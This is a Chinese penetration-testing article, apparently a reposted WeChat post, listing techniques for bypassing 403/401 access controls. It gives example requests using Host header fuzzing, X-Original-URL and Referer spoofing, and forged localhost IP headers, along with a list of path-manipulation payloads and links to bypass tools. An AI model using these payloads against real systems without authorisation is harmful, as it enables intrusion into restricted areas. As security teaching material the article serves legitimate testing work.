渗透测试中403/401页面绕过的思路总结
2022-8-28 10:10:43 Author: 渗透安全团队(查看原文) 阅读量:9 收藏

做渗透时经常会碰到扫到的资产403的情况,特别是资产微乎其微的情况下,面试有时也会问到,这里做个结!

利用姿势

1.端口利用

故事扫描主机端口,其它开放web服务的端口,访问其端口,挑软柿子

2.修改HOST

Host在请求头中的作用在一般情况下,几个网站可能会部署在同一个服务器上,或者几个 web 系统共享一个服务器,通过host头来指定应该由哪个网站或者web系统来处理用户的请求。

而很多WEB应用通过获取HTTP HOST头来获得当前请求访问的位置,但是很多开发人员并未意识到HTTP HOST头由用户控制,从安全角度来讲,任何用户输入都是认为不安全的。

修改客户端请求头中的 Host 可以通过修改 Host 值修改为子域名或者ip来绕过来进行绕过二级域名;

首先对该目标域名进行子域名收集,整理好子域名资产(host字段同样支持IP地址)。

先Fuzz测试跑一遍收集到的子域名,这里使用的是Burp的Intruder功能。若看到一个服务端返回200的状态码,即表面成功找到一个在HOST白名单中的子域名。我们利用firefox插件来修改HOST值,成功绕过访问限制。

3.覆盖请求 URL

尝试使用 X-Original-URL 和 X-Rewrite-URL 标头绕过 Web 服务器的限制。

通过支持 X-Original-URL 和 X-Rewrite-URL 标头,用户可以使用 X-Original-URL 或 X-Rewrite-URL HTTP 请求标头覆盖请求 URL 中的路径,尝试绕过对更高级别的缓存和 Web 服务器的限制

    RequestGET /auth/login HTTP/1.1ResponseHTTP/1.1 403 Forbidden
    ReqeustGET / HTTP/1.1X-Original-URL: /auth/loginResponseHTTP/1.1 200 OK
    or:
    ReqeustGET / HTTP/1.1X-Rewrite-URL: /auth/loginResponseHTTP/1.1 200 OK

    4.Referer 标头绕过

    尝试使用 Referer 标头绕过 Web 服务器的限制。

    介绍:Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源。

      RequestGET /auth/login HTTP/1.1Host: xxxResponseHTTP/1.1 403 Forbidden
      ReqeustGET / HTTP/1.1Host: xxxReFerer:https://xxx/auth/loginResponseHTTP/1.1 200 OK
      or
      ReqeustGET /auth/login HTTP/1.1Host: xxxReFerer:https://xxx/auth/loginResponseHTTP/1.1 200 OK

      5.代理 IP

      一般开发者会通过 Nginx 代理识别访问端 IP 限制对接口的访问,尝试使用 X-Forwarded-For、X-Forwared-Host 等标头绕过 Web 服务器的限制。

        X-Originating-IP: 127.0.0.1X-Remote-IP: 127.0.0.1X-Client-IP: 127.0.0.1X-Forwarded-For: 127.0.0.1X-Forwared-Host: 127.0.0.1X-Host: 127.0.0.1X-Custom-IP-Authorization: 127.0.0.1
        如:
        RequestGET /auth/login HTTP/1.1ResponseHTTP/1.1 401 Unauthorized
        ReqeustGET /auth/login HTTP/1.1X-Custom-IP-Authorization: 127.0.0.1ResponseHTTP/1.1 200 OK
        6.扩展名绕过

        基于扩展名,用于绕过 403 受限制的目录。

          site.com/admin => 403site.com/admin/ => 200site.com/admin// => 200site.com//admin// => 200site.com/admin/* => 200site.com/admin/*/ => 200site.com/admin/. => 200site.com/admin/./ => 200site.com/./admin/./ => 200site.com/admin/./. => 200site.com/admin/./. => 200site.com/admin? => 200site.com/admin?? => 200site.com/admin??? => 200site.com/admin..;/ => 200site.com/admin/..;/ => 200site.com/%2f/admin => 200site.com/%2e/admin => 200site.com/admin%20/ => 200site.com/admin%09/ => 200site.com/%20admin%20/ => 200

          7.扫描的时候

          遇到 403 了,上目录扫描工具,扫目录,扫文件(记住,扫描的时候要打开探测403,因为有些网站的目录没有权限访问会显示403,但是在这个目录下面的文件,我们或许能扫描到并访问 )

          8.最后补充再一些401和403 bypass的tips(由HACK学习整理补充)

          Github上一些bypass 403的脚本

            https://github.com/sting8k/BurpSuite_403Bypasserhttps://github.com/yunemse48/403bypasserhttps://github.com/devploit/dontgo403https://github.com/daffainfo/bypass-403

            以及403bypass的wiki

              https://kathan19.gitbook.io/howtohunt/status-code-bypass/403bypass

                作者:剑胆琴心作者博客:http://xpshuai.cn/
                免责声明
                由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

                星球的最近主题和星球内部工具一些展示

                欢迎加入星球!

                关 注 有 礼

                关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

                 还在等什么?赶紧点击下方名片关注学习吧!


                群聊 | 技术交流群-群除我佬

                干货|史上最全一句话木马

                干货 | CS绕过vultr特征检测修改算法

                实战 | 用中国人写的红队服务器搞一次内网穿透练习

                实战 | 渗透某培训平台经历

                实战 | 一次曲折的钓鱼溯源反制

                好文分享收藏赞一下最美点在看哦

                文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247491449&idx=2&sn=ed1eb39bed3c2ff069e49d367ae625f0&chksm=c175e2d6f6026bc05e1eab16869da52edd765f5e9811dc3ded49825045b7535c24df85fa866d#rd
                如有侵权请联系:admin#unsafe.sh